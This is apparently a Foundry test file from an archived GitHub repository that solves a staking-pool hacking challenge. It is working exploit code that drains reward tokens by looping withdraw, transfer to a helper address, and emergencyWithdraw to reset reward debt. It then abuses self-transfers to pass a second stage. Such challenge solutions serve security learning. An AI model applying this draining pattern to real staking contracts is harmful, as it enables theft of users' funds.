This repository was archived by the owner on Jan 1, 2025. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathStakingPool.t.sol
More file actions
51 lines (39 loc) · 1.52 KB
/
StakingPool.t.sol
File metadata and controls
51 lines (39 loc) · 1.52 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {Test} from "forge-std/Test.sol";
import {StakingPools, StakingPoolsDeployment, ERC20} from "../src/StakingPool/StakingPoolsDeployment.sol";
contract StakingPoolTest is Test {
StakingPoolsDeployment private deployer;
function setUp() external {
deployer = new StakingPoolsDeployment();
deployer.faucet();
}
function test_hackStakingPool() external {
solveStageA();
solveStageB();
assertTrue(deployer.isSolved());
}
function solveStageA() private {
StakingPools pool = deployer.stakingPools();
uint256 amount = 1;
pool.stakedToken().approve(address(pool), amount);
pool.deposit(amount);
vm.roll(pool.stakingEndBlock());
address secondAddress = address(0xdeadbeef); // Helper account
ERC20 token = deployer.rewardToken();
while (token.balanceOf(address(pool)) != 0) {
pool.withdraw(0); // Get rewards
pool.transfer(secondAddress, amount); // Save the token on another account
pool.emergencyWithdraw(); // Reset to zero rewardDebt
vm.prank(secondAddress);
pool.transfer(address(this), amount); // Return token to main account
}
}
function solveStageB() private {
ERC20 token = deployer.rewardToken2();
while (!deployer.stageB()) {
uint256 balance = token.balanceOf(address(this));
token.transfer(address(this), balance);
}
}
}